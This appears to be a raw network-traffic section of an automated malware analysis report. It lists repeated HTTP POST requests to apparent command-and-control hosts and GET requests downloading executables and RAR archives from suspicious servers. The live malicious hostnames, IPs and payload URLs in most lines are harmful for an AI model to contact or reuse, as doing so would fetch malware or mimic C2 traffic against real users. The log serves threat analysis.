Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12842Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15069Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20431Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1232Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 531309Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mbcyqmttpiinpghx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://eyqxnblygic.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 331Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://elpsnjvbyqt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 160Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xnmfeyqpwnehurxh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 271Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://eeycidiyfjvuwaep.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qmbakktwarjac.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://feltxgyoedldtlt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wtlgosscvcry.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: gebeus.ru
Source: global traffic HTTP traffic detected: GET /systemd.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.221.157.163
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://pkqgdawiidcayk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mmcxxioyukngeefd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://coiniqplnikp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://sijoltnxjfxqjw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 131Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uwqwnifeydwej.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 179Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jpenaelwjof.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: gebeus.ru
Source: global traffic HTTP traffic detected: GET /win.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 64.190.113.113
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tfqtvoxxlfyfid.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 330Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mhvibsdewxn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 328Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://akvufandfxiqflw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 254Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bqhvneiiyelqwiyv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://oqgvummtqov.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 120Host: gebeus.ru
